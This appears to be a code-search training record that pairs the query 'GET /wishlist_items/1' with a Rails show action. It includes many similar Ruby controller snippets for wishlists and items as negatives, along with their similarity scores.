"def index\n @wish_lists = WishList.find(:all, :order => 'created_at DESC').paginate :per_page => 20, :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wish_lists }\n end\n end",
"def wish_list(options={})\n get('/wish_list', options)\n end",
"def show\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def index\n @wish_list_items = WishListItem.all\n end",
"def new\n @wishlist_item = WishlistItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def show\n @wishlistitem = Wishlistitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def show\n @wishlist = Wishlist.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def show\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def index\n\t@wishlist = Wishlist.all\n\t@client = Client.all\n\t#@product = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def index\n @wishlist = Wishlist.where(:user_id => current_user.id)\n @wishlist_items = Wishitem.where(:wishlist_id => @wishlist)\n end",
"def show\n \t@wishlist = Wishlist.find(params[:id])\n \t@client = @wishlist.client\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by!(access_hash: params[:id])\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by_access_hash!(params[:id])\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by_access_hash!(params[:id])\n end",
"def index\n @wish_lists = WishList.all\n end",
"def set_wishlist_item\n @wishlistitem = Wishlistitem.find(params[:id])\n end",
"def index\n @items_mobs = ItemsMob.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @items_mobs.to_xml }\n end\n end",
"def index\n @goods_items = Goods::Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @goods_items }\n end\n end",
"def set_wishlist_item\n @wishlist_item = WishlistItem.find(params[:id])\n end",
"def index\n @wishlists = Wishlist.all\n @mywishlists = Wishlist.where('user_id' => current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def index\n @receiving_items = ReceivingItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receiving_items }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @list_items }\n end\n end",
"def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def show\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_item }\n end\n end",
"def show\n @auction_item = AuctionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auction_item }\n end\n end",
"def show\n @items_mob = ItemsMob.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @items_mob.to_xml }\n end\n end",
"def show\n authorize! :read, @user\n # since wishlist items are added from the user profile, a blank one is initialised here\n # (though the form won't be displayed if the user isn't authorised to add wishlist items)\n @wishlist_item = WishlistItem.new(user: @user)\n end",
"def show\n @favourites = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def show\n @wish = Wish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish }\n end\n end",
"def index\n @wishes = Wish.all\n end",
"def index\n @wishes = Wish.all\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def wishlist\n @lineItems = LineItem.where(\"user_id = ? AND line_item_type = ?\", current_user.id, 1)\n @items = Array.new\n @lineItems.each do |lineItem|\n @items.push(lineItem.item)\n end\n end",
"def index\n @shopping_lists = ShoppingList.find_all_by_user_id(session[:user_id])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @shopping_lists }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def index\n @wishlist_item = WishlistItem.new\n if (!params[:search].nil?) \n @books = Book.search params[:search], :page => params[:page]\n else \n if (!params[:uid].nil?)\n @books = Book.paginate :page => params[:page], :order => 'created_at DESC'\n else\n @books = Book.search \"Inventore\", :page => params[:page]\n end\n end\n if (@books.size == 0) \n else\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end\n end",
"def index\n @wishlists = Wishlist.where(user_id: current_user.id)\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def index\n @league_items = LeagueItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @league_items }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html\n # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def index\n @action_items = ActionItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @action_items }\n end\n end",
"def show\n @current_wishlist = Wishlist.find(params[:id])\n @wishlist_items = @current_wishlist.wishlist_items\n @order_item = current_order.order_items.new\n @users = User.all\n \n end",
"def index\n @bowls = Bowl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bowls }\n end\n end",
"def index\n @feedback_items = FeedbackItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedback_items }\n end\n end",
"def index\n @items_count = Item.count\n @items = Item.find(:all, { :order => 'items.created_at DESC', :include => :user }.merge(@pagination_options))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n format.rss { render :layout => false }\n end\n end",
"def index\n @warehouse_lists = get_warehouse_lists(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouse_lists }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end",
"def index\n @help_items = HelpItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @help_items }\n end\n end",
"def wishers\n @items = UserProductWish.includes(:account).where({product: @product}).all\n end",
"def wishlist\n @wishlists = Wishlist.all.order('id DESC')\n render :template => \"backend/Wishlist/wishlist\"\n end",
"def set_wishlist\n # @wishlist = Wishlist.find(params[:id])\n end",
"def show\n @mylist = Mylist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mylist }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def show\n @receiving_item = ReceivingItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receiving_item }\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def index\n @granted_wishes = GrantedWish.all.page(params[:page])\n end",
"def index\n @item_options = ItemOption.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @item_options }\n end\n end",
"def show\n @shop_item = ShopItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shop_item }\n end\n end",
"def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @goods_item = Goods::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goods_item }\n end\n end",
"def show\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @item }\n end\n end",
"def show\n @request = Request.find(params[:id])\n @items = @request.items\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def wishlist_item_params\n params.require(:wishlist_item).permit(:wishlist_id, :item_id)\n end",
"def show\n @shops_favorite = ShopsFavorite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shops_favorite }\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def show\n @liked_item = LikedItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @liked_item }\n end\n end",
"def index\n @cooking_ingredients = CookingIngredient.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cooking_ingredients }\n end\n end",
"def index\n @items = @project.items.ready\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"def set_wish_list_item\n @wish_list_item = WishListItem.find(params[:id])\n end",
"def show\n @movie_list_item = MovieListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie_list_item }\n end\n end",
"def show\n @goods_receive_note = GoodsReceiveNote.find(params[:id])\n @items = @goods_receive_note.goods_receive_note_items\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goods_receive_note }\n end\n end",
"def index\n @menu_items = uhook_find_menu_items\n\n respond_to do |format|\n format.html {} # index.html.erb \n format.xml {\n render :xml => @menu_items\n }\n end\n end",
"def index\n @bids = @swarm_request.bids.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bids }\n end\n end",
"def index\n @priced_items = PricedItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @priced_items }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end",
"def index\n @outlet_goods_receive_note_items = OutletGoodsReceiveNoteItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @outlet_goods_receive_note_items }\n end\n end",
"def show\n @billitem = Billitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @billitem }\n end\n end",
"def index\n set_user\n @wishlists = Wishlist.where(user_id: @user.id) || []\n end",
"def show\n @item = Item.find_by_id( params[:id] )\n @items_like_mine = @item.find_items_like_mine \n end",
"def show\n @favourite = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourite }\n end\n end",
"def get_books(response)\n response[\"items\"]\nend",
"def show\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shelf.to_xml(:include => :books) }\n end\n end",
"def show\n @swap_item = SwapItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @swap_item }\n end\n end",
"def wishlist_item_params\n params.require(:wishlistitem).permit(:id, :user_id, :item_id)\n end",
"def show\n @instancia_item = InstanciaItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instancia_item }\n end\n end"
] | [
"0.7702818",
"0.7389687",
"0.7069813",
"0.70656097",
"0.70206",
"0.6967141",
"0.6891797",
"0.68861693",
"0.688251",
"0.6779779",
"0.67751074",
"0.6771312",
"0.6677934",
"0.6667456",
"0.64915663",
"0.6464108",
"0.64375645",
"0.6430342",
"0.632434",
"0.6292687",
"0.62863684",
"0.62757736",
"0.6263078",
"0.62604606",
"0.6235385",
"0.6219399",
"0.61805713",
"0.614557",
"0.61399776",
"0.6126991",
"0.60909885",
"0.6080372",
"0.60793793",
"0.6067015",
"0.6067015",
"0.6061412",
"0.60602367",
"0.6057309",
"0.6055999",
"0.6055999",
"0.6055999",
"0.6055999",
"0.6055999",
"0.6055999",
"0.6055442",
"0.60554093",
"0.60450625",
"0.6031281",
"0.60294914",
"0.60186",
"0.60087717",
"0.6003496",
"0.5986981",
"0.5984469",
"0.59823006",
"0.5980638",
"0.59617555",
"0.5947901",
"0.5944968",
"0.5938524",
"0.5932497",
"0.5927211",
"0.5927211",
"0.5927145",
"0.5921246",
"0.5921246",
"0.5921246",
"0.5921246",
"0.5921246",
"0.5920204",
"0.5917101",
"0.5915089",
"0.5912685",
"0.58972603",
"0.5882057",
"0.58676773",
"0.5864376",
"0.5850221",
"0.5848864",
"0.58374923",
"0.5835592",
"0.5833523",
"0.58317065",
"0.58280694",
"0.58250535",
"0.5824855",
"0.5821019",
"0.5816254",
"0.58111197",
"0.5804255",
"0.5801868",
"0.5799909",
"0.5793295",
"0.57924855",
"0.5788806",
"0.5786352",
"0.57855326",
"0.5767395",
"0.5766572",
"0.57606995"
] | 0.7948633 | 0 |
GET /wishlist_items/1 GET /wishlist_items/1.xml | def show
@wishlist_item = WishlistItem.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @wishlist_item }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def show\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def new\n @wishlist_item = WishlistItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def index\n @wish_lists = WishList.find(:all, :order => 'created_at DESC').paginate :per_page => 20, :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wish_lists }\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def show\n @wishlistitem = Wishlistitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def wish_list(options={})\n get('/wish_list', options)\n end",
"def show\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def show\n @wishlist = Wishlist.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def index\n @wish_list_items = WishListItem.all\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def show\n \t@wishlist = Wishlist.find(params[:id])\n \t@client = @wishlist.client\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def index\n\t@wishlist = Wishlist.all\n\t@client = Client.all\n\t#@product = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by!(access_hash: params[:id])\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by_access_hash!(params[:id])\n end",
"def find_wishlist\n @wishlist = Spree::Wishlist.find_by_access_hash!(params[:id])\n end",
"def index\n @wishlist = Wishlist.where(:user_id => current_user.id)\n @wishlist_items = Wishitem.where(:wishlist_id => @wishlist)\n end",
"def set_wishlist_item\n @wishlistitem = Wishlistitem.find(params[:id])\n end",
"def set_wishlist_item\n @wishlist_item = WishlistItem.find(params[:id])\n end",
"def show\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_item }\n end\n end",
"def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @auction_item = AuctionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auction_item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html\n # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def index\n @goods_items = Goods::Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @goods_items }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @list_items }\n end\n end",
"def show\n @favourites = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def index\n @receiving_items = ReceivingItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receiving_items }\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def index\n @items_mobs = ItemsMob.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @items_mobs.to_xml }\n end\n end",
"def show\n @items_mob = ItemsMob.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @items_mob.to_xml }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end",
"def show\n @receiving_item = ReceivingItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receiving_item }\n end\n end",
"def show\n @shop_item = ShopItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shop_item }\n end\n end",
"def index\n @wish_lists = WishList.all\n end",
"def show\n @mylist = Mylist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mylist }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def show\n @wish = Wish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish }\n end\n end",
"def show\n @swap_item = SwapItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @swap_item }\n end\n end",
"def show\n @goods_item = Goods::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goods_item }\n end\n end",
"def show\n @shops_favorite = ShopsFavorite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shops_favorite }\n end\n end",
"def set_wishlist\n # @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def show\n authorize! :read, @user\n # since wishlist items are added from the user profile, a blank one is initialised here\n # (though the form won't be displayed if the user isn't authorised to add wishlist items)\n @wishlist_item = WishlistItem.new(user: @user)\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end",
"def show\n @billitem = Billitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @billitem }\n end\n end",
"def index\n @wishlist_item = WishlistItem.new\n if (!params[:search].nil?) \n @books = Book.search params[:search], :page => params[:page]\n else \n if (!params[:uid].nil?)\n @books = Book.paginate :page => params[:page], :order => 'created_at DESC'\n else\n @books = Book.search \"Inventore\", :page => params[:page]\n end\n end\n if (@books.size == 0) \n else\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end\n end",
"def set_wish_list_item\n @wish_list_item = WishListItem.find(params[:id])\n end",
"def show\n @movie_list_item = MovieListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie_list_item }\n end\n end",
"def show\n @favourite = Favourite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favourite }\n end\n end",
"def show\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @item }\n end\n end",
"def show\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shelf.to_xml(:include => :books) }\n end\n end",
"def index\n @bowls = Bowl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bowls }\n end\n end",
"def index\n @action_items = ActionItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @action_items }\n end\n end",
"def index\n @wishlists = Wishlist.all\n @mywishlists = Wishlist.where('user_id' => current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end",
"def index\n @league_items = LeagueItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @league_items }\n end\n end",
"def index\n @shopping_lists = ShoppingList.find_all_by_user_id(session[:user_id])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @shopping_lists }\n end\n end",
"def index\n @feedback_items = FeedbackItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedback_items }\n end\n end",
"def index\n @help_items = HelpItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @help_items }\n end\n end",
"def update\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n if @wishlist_item.update_attributes(params[:wishlist_item])\n format.html { redirect_to(@wishlist_item, :notice => 'Wishlist item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @instancia_item = InstanciaItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instancia_item }\n end\n end",
"def show\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favorite }\n end\n end",
"def show\n @request = Request.find(params[:id])\n @items = @request.items\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully created.') }\n format.xml { render :xml => @wish_list_item, :status => :created, :location => @wish_list_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @items_count = Item.count\n @items = Item.find(:all, { :order => 'items.created_at DESC', :include => :user }.merge(@pagination_options))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n format.rss { render :layout => false }\n end\n end",
"def show\n @checklist = Checklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @checklist }\n end\n end",
"def index\n @item_options = ItemOption.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @item_options }\n end\n end",
"def index\n @warehouse_lists = get_warehouse_lists(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouse_lists }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def create\n @wishlist = current_wishlist\n product = Product.find(params[:product_id])\n @wishlist_item = @wishlist.wishlist_items.build(:product => product)\n\n respond_to do |format|\n if @wishlist_item.save\n format.html { redirect_to(@wishlist, :notice => 'Wishlist item was successfully created.') }\n format.xml { render :xml => @wishlist_item, :status => :created, :location => @wishlist_item }\n else\n format.html { redirect_to(store_url, :notice => 'Item already added to wishlist') }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def xml(item)\n presenter.xml(item)\n end",
"def show\n @current_wishlist = Wishlist.find(params[:id])\n @wishlist_items = @current_wishlist.wishlist_items\n @order_item = current_order.order_items.new\n @users = User.all\n \n end",
"def show\n @budget_item = BudgetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_item }\n end\n end",
"def index\n @wishes = Wish.all\n end",
"def index\n @wishes = Wish.all\n end",
"def show\n @to_do_item = ToDoItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @to_do_item }\n end\n end",
"def show\n @warehouse_list = WarehouseList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse_list }\n end\n end",
"def show\n @league_item = LeagueItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league_item }\n end\n end",
"def wishlist\n @wishlists = Wishlist.all.order('id DESC')\n render :template => \"backend/Wishlist/wishlist\"\n end",
"def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(store_path, :notice => 'Item has been removed from your wishlist.') }\n format.xml { head :ok }\n end\n end",
"def wishlist\n @lineItems = LineItem.where(\"user_id = ? AND line_item_type = ?\", current_user.id, 1)\n @items = Array.new\n @lineItems.each do |lineItem|\n @items.push(lineItem.item)\n end\n end",
"def show\n @goods_receive_note = GoodsReceiveNote.find(params[:id])\n @items = @goods_receive_note.goods_receive_note_items\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goods_receive_note }\n end\n end",
"def index\n @wishlists = Wishlist.where(user_id: current_user.id)\n end",
"def show\n @work_history_item = WorkHistoryItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @work_history_item }\n end\n end",
"def show\n @stock_item = StockItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stock_item }\n end\n end",
"def show\n @actionitem = Actionitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @actionitem }\n end\n end"
] | [
"0.78592396",
"0.751913",
"0.7107771",
"0.70018244",
"0.69793105",
"0.69069713",
"0.68212384",
"0.6718996",
"0.6705311",
"0.6702776",
"0.6637464",
"0.6612683",
"0.6573811",
"0.6497558",
"0.6494542",
"0.64729625",
"0.6472366",
"0.6445448",
"0.6427236",
"0.64050853",
"0.6292535",
"0.6274277",
"0.6242827",
"0.6242827",
"0.6242827",
"0.6242827",
"0.6242827",
"0.6242827",
"0.6242246",
"0.6214615",
"0.61883533",
"0.61805534",
"0.61778796",
"0.6153807",
"0.6149724",
"0.6142701",
"0.61227554",
"0.6103533",
"0.60954297",
"0.6092458",
"0.60735744",
"0.6064692",
"0.6059992",
"0.6037771",
"0.60335666",
"0.6022339",
"0.60189354",
"0.6018825",
"0.60151494",
